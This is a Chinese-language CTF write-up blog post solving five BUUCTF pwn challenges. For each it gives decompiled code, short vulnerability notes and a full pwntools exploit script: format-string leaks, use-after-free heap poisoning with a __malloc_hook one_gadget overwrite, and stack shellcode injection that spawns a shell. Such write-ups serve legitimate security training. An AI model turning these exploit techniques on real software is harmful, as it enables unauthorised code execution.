BUUCTF pwn wp 111 - 115

judgement_mna_2016

judgement_mna_2016$ file judgement_mna_2016;checksec judgement_mna_2016 
judgement_mna_2016: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1dcd6ad0bd357d5614674e1aeca491f6aa3e352b, not stripped
[*] '/home/pwn/桌面/judgement_mna_2016/judgement_mna_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *v3; // esp
  char format[64]; // [esp+0h] [ebp-4Ch] BYREF
  unsigned int v6; // [esp+40h] [ebp-Ch]
  int *p_argc; // [esp+44h] [ebp-8h]

  p_argc = &argc;
  v6 = __readgsdword(0x14u);
  v3 = alloca(144);
  printf("Flag judgment system\nInput flag >> ");
  if ( getnline(format, 64) )
  {
    printf(format);
    if ( !strcmp(format, flag) )
      return puts("\nCorrect flag!!");
    else
      return puts("\nWrong flag...");
  }
  else
  {
    puts("Unprintable character");
    return -1;
  }
}

fmt漏洞泄露栈上的flag

from pwn import *

url, port = "node4.buuoj.cn", 27799
filename = "./judgement_mna_2016"
elf = ELF(filename)
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)
    
def pwn():
    io.sendline('%28$s')


if __name__ == "__main__":
    pwn()
    io.interactive()

actf_2019_babyheap

actf_2019_babyheap$ file ACTF_2019_babyheap;checksec ACTF_2019_babyheap 
ACTF_2019_babyheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f567e26db2d7d61372a25f15e4cdaa1ac75350bd, stripped
[*] '/home/pwn/桌面/actf_2019_babyheap/ACTF_2019_babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
unsigned __int64 sub_400A78()
{
  void **v0; // rbx
  int i; // [rsp+8h] [rbp-38h]
  int v3; // [rsp+Ch] [rbp-34h]
  char buf[24]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  if ( dword_60204C <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !*(&ptr + i) )
      {
        *(&ptr + i) = malloc(0x10uLL);
        *((_QWORD *)*(&ptr + i) + 1) = print;
        puts("Please input size: ");
        read(0, buf, 8uLL);
        v3 = atoi(buf);
        v0 = (void **)*(&ptr + i);
        *v0 = malloc(v3);
        puts("Please input content: ");
        read(0, *(void **)*(&ptr + i), v3);
        ++dword_60204C;
        return __readfsqword(0x28u) ^ v5;
      }
    }
  }
  else
  {
    puts("The list is full");
  }
  return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 delete()
{
  int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Please input list index: ");
  read(0, buf, 4uLL);
  v1 = atoi(buf);
  if ( v1 >= 0 && v1 < cnt )
  {
    if ( *(&ptr + v1) )
    {
      free(*(void **)*(&ptr + v1));
      free(*(&ptr + v1));
    }
  }
  else
  {
    puts("Out of bound!");
  }
  return __readfsqword(0x28u) ^ v3;
}

UAF 构造布局 bin_sh_str 和 函数指针指向system@plt

在这里插入图片描述
在这里插入图片描述

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 27751
filename = "./ACTF_2019_babyheap"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def add(size, content):
    io.sendlineafter('Your choice: ', '1')
    io.sendlineafter('Please input size: \n', str(size))
    io.sendafter('Please input content: \n', content)

def delete(idx):
    io.sendlineafter('Your choice: ', '2')
    io.sendlineafter('Please input list index: \n', str(idx))

def show(idx):
    io.sendlineafter('Your choice: ', '3')
    io.sendlineafter('Please input list index: \n', str(idx))

def pwn():
    system_plt = elf.plt['system']
    binsh_addr = 0x0000000000602010

    add(0x80, 'chunk0')
    add(0x80, 'chunk1')
    add(0x80, 'chunk2')

    delete(0)
    delete(1)
    # B()
    add(0x10, p64(binsh_addr) + p64(system_plt))
    # B()
    show(0)


if __name__ == "__main__":
    pwn()
    io.interactive()

gyctf_2020_signin

gyctf_2020_signin$ file gyctf_2020_signin;checksec gyctf_2020_signin 
gyctf_2020_signin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=08baefbf7275ff73e43ecabd9cbb9974d4da3c4b, for GNU/Linux 3.2.0, not stripped
[*] '/home/pwn/桌面/gyctf_2020_signin/gyctf_2020_signin'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
unsigned __int64 menu()
{
  int v0; // eax
  __int64 s[3]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("your choice?");
  s[0] = 0LL;
  s[1] = 0LL;
  memset(s, 0, 0x10uLL);
  read(0, s, 0xFuLL);
  v0 = atoi((const char *)s);
  if ( v0 == 2 )
  {
    edit();
  }
  else if ( v0 > 2 )
  {
    if ( v0 != 3 )
    {
      if ( v0 == 6 )
        backdoor();
      goto LABEL_12;
    }
    del();
  }
  else
  {
    if ( v0 != 1 )
    {
LABEL_12:
      puts("no such choice!");
      return __readfsqword(0x28u) ^ v3;
    }
    add();
  }
  return __readfsqword(0x28u) ^ v3;
}

有后门, ptr指针所指的值不为0即可触发

unsigned __int64 del()
{
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  __int64 s[3]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("idx?");
  s[0] = 0LL;
  s[1] = 0LL;
  memset(s, 0, 0x10uLL);
  read(0, s, 0xFuLL);
  v1 = atoi((const char *)s);
  if ( v1 <= 0xF && flags[v1] == 1 )
  {
    free((void *)ptrlist[v1]);
    flags[v1] = 0;
  }
  return __readfsqword(0x28u) ^ v3;
}

del函数有悬空指针, 另外分析edit函数后发现可以UAF

在这里插入图片描述

read 0x50LL的数据, 会调用calloc重新分配chunk大小, calloc函数有一个特点, 不从tcache中拿chunk, 而是从fastbin中拿chunk, 并且bins的管理还有一个特点: 分配fastbin之后会将同size的剩余chunk扔到tcache的空位里

可以读一下glibc2.27的源码

#define REMOVE_FB(fb, victim, pp)			\
  do							\
    {							\
      victim = pp;					\
      if (victim == NULL)				\
	break;						\
    }							\
  while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) \
	 != victim);					\

  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
      idx = fastbin_index (nb);
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp;
      victim = *fb;

      if (victim != NULL)
	{
	  if (SINGLE_THREAD_P)
	    *fb = victim->fd;
	  else
	    REMOVE_FB (fb, pp, victim);
	  if (__glibc_likely (victim != NULL))
	    {
	      size_t victim_idx = fastbin_index (chunksize (victim));
	      if (__builtin_expect (victim_idx != idx, 0))
		malloc_printerr ("malloc(): memory corruption (fast)");
	      check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
	      /* While we're here, if we see other chunks of the same size,
		 stash them in the tcache.  */
	      size_t tc_idx = csize2tidx (nb);
	      if (tcache && tc_idx < mp_.tcache_bins)
		{
		  mchunkptr tc_victim;

		  /* While bin not empty and tcache not full, copy chunks.  */
		  while (tcache->counts[tc_idx] < mp_.tcache_count
			 && (tc_victim = *fb) != NULL)
		    {
		      if (SINGLE_THREAD_P)
			*fb = tc_victim->fd;
		      else
			{
			  REMOVE_FB (fb, pp, tc_victim);
			  if (__glibc_unlikely (tc_victim == NULL))
			    break;
			}
		      tcache_put (tc_victim, tc_idx);
		    }
		}
#endif
	      void *p = chunk2mem (victim);
	      alloc_perturb (p, bytes);
	      return p;
	    }
	}
    }

漏洞利用: tcache attack + fastbin attack, 申请8个chunk, 再释放8个, 其中7个在tcache, 1个在fastbin, 申请一个 tcache 的chunk出来, 腾出空位, UAF修改第8个chunk的fd, 伪造fastbin链指向ptr-0x10, 然后这个伪造的chunk会被自动放到tcache里, 过程中系统会自动修改ptr的值到tcache链的fd, 这样ptr就不为0了, 即可触发后门

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 26453
filename = "./gyctf_2020_signin"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

def add(idx):
    io.sendlineafter('your choice?', str(1))
    io.sendlineafter('idx?', str(idx))

def edit(idx, context):
    io.sendlineafter('your choice?', str(2))
    io.sendlineafter('idx?', str(idx))
    io.send(context)

def delete(idx):
    io.sendlineafter('your choice?', str(3))
    io.sendlineafter('idx?', str(idx))

def pwn():
    ptr_addr = 0x00000000004040C0

    for i in range(8):
        add(i)

    for i in range(8):
        delete(i)

    add(8)
    edit(7, p64(ptr_addr - 0x10))
    io.sendlineafter('your choice?', '6')


if __name__ == "__main__":
    pwn()
    io.interactive()

wdb_2018_3rd_soEasy

wdb_2018_3rd_soEasy$ file wdb_2018_3rd_soEasy;checksec wdb_2018_3rd_soEasy 
wdb_2018_3rd_soEasy: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ca4d1b34498bf126a8cfec07c2567b219b36d122, not stripped
[*] '/home/pwn/桌面/wdb_2018_3rd_soEasy/wdb_2018_3rd_soEasy'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

啥保护都不开…

ssize_t vul()
{
  char buf[72]; // [esp+0h] [ebp-48h] BYREF

  printf("Hei,give you a gift->%p\n", buf);
  puts("what do you want to do?");
  return read(0, buf, 0x64u);
}

白给

from pwn import *
# from LibcSearcher import *

url, port = "node4.buuoj.cn", 29719
filename = "./wdb_2018_3rd_soEasy"
elf = ELF(filename)
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
else:
    io = remote(url, port)

def pwn():
    io.recvuntil('Hei,give you a gift->')
    buf_addr = int(io.recvuntil('\n', drop=True), 16)
    shellcode = asm(shellcraft.sh())
    payload = shellcode.ljust(0x48 + 4, b'\x00') + p32(buf_addr)
    io.sendline(payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

gyctf_2020_some_thing_interesting

gyctf_2020_some_thing_interesting$ file gyctf_2020_some_thing_interesting;checksec gyctf_2020_some_thing_interesting 
gyctf_2020_some_thing_interesting: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=01e89050056d430939a294ed0d853da03fc1b416, stripped
[*] '/home/pwn/桌面/gyctf_2020_some_thing_interesting/gyctf_2020_some_thing_interesting'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开, 这才像话

char *sub_B7A()
{
  memset(s1, 0, 0x14uLL);
  puts("#######################");
  puts("#       Surprise      #");
  puts("#---------------------#");
  printf("> Input your code please:");
  read(0, s1, 0x13uLL);
  if ( strncmp(s1, "OreOOrereOOreO", 0xEuLL) )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    exit(0);
  }
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return s1;
}

第一次输入的code == OreOOrereOOreO并且有fmt漏洞

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int v3; // [rsp+Ch] [rbp-14h] BYREF
  void *s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v3 = 0;
  memset(s, 0, 0x14uLL);
  sub_B10();
  s = (void *)sub_B7A();
  sub_C6A();
  while ( 1 )
  {
    printf("> Now please tell me what you want to do :");
    _isoc99_scanf("%d", &v3);
    switch ( v3 )
    {
      case 0:
        admin((const char *)s);
        break;
      case 1:
        add();
        break;
      case 2:
        edit();
        break;
      case 3:
        delete();
        break;
      case 4:
        show();
        break;
      case 5:
        Exit();
      default:
        puts("Emmmmmm!Maybe you want Fool me!");
        Exit();
    }
  }
}

delete

unsigned __int64 sub_130A()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("#######################");
  puts("#     Delete Oreo     #");
  puts("#---------------------#");
  printf("> Oreo ID : ");
  _isoc99_scanf("%d", &v1);
  if ( v1 < 0 || v1 > 10 || !*((_QWORD *)&unk_2020E0 + v1) )
  {
    puts("Emmmmmm!Maybe you want Fool me!");
    Exit();
  }
  free(*((void **)&unk_2020E0 + v1));
  free(*((void **)&unk_2021A0 + v1));
  puts("#---------------------#");
  puts("#      ALL Down!      #");
  puts("#######################");
  return __readfsqword(0x28u) ^ v2;
}

UAF

漏洞利用: fmt泄露libc, UAF用one gadget打__malloc_hook

from pwn import *

url, port = "node4.buuoj.cn", 28349
filename = "./gyctf_2020_some_thing_interesting"
elf = ELF(filename)
context(arch="amd64", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    libc = ELF("./libc-2.23.so") # local libc
else:
    context.log_level = "debug"
    libc = ELF("./libc64-2.23.so") # remote libc 
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()
    
lf = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)
   
def add(Osize, O, REsize, RE):
    io.sendlineafter('> Now please tell me what you want to do :', '1')
    io.sendlineafter("> O's length : ", str(Osize))
    io.sendafter("> O : ", O)
    io.sendlineafter("> RE's length : ", str(REsize))
    io.sendafter("> RE : ", RE)

def edit(idx, O, RE):
    io.sendlineafter('> Now please tell me what you want to do :', '2')
    io.sendlineafter("> Oreo ID : ", str(idx))
    io.sendafter("> O : ", O)
    io.sendafter("> RE : ", RE)

def delete(idx):
    io.sendlineafter('> Now please tell me what you want to do :', '3')
    io.sendlineafter("> Oreo ID : ", str(idx))

def show(idx):
    io.sendlineafter('> Now please tell me what you want to do :', '4')
    io.sendlineafter("> Oreo ID : ", str(idx))

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

def pwn():
    one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

    io.sendlineafter('> Input your code please:', 'OreOOrereOOreO%17$p')
    io.sendlineafter('> Now please tell me what you want to do :', '0')
    io.recvuntil('Your Code is OreOOrereOOreO0x')
    libc_start_main_addr = int(io.recv(12), 16) - 240
    libc_base = libc_start_main_addr - libc.sym['__libc_start_main']
    lf('__libc_start_main_addr', libc_start_main_addr)
    lf('libc base address', libc_base)

    malloc_hook = libc_base + libc.sym['__malloc_hook']
    one_gadget = libc_base + one_gadgets[3] # turns out 0xf1147 can work

    add(0x68, 'chunk0', 0x68, 'chunk1')
    delete(1)
    delete(1)
    edit(1, p64(0), p64(malloc_hook - 0x23))
    add(0x68, p64(0), 0x68, cyclic(0x13) + p64(one_gadget))

    io.sendlineafter('Now please tell me what you want to do :', '1')
    io.sendlineafter("> O's length : ", str(0x10))


if __name__ == "__main__":
    pwn()
    io.interactive()
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值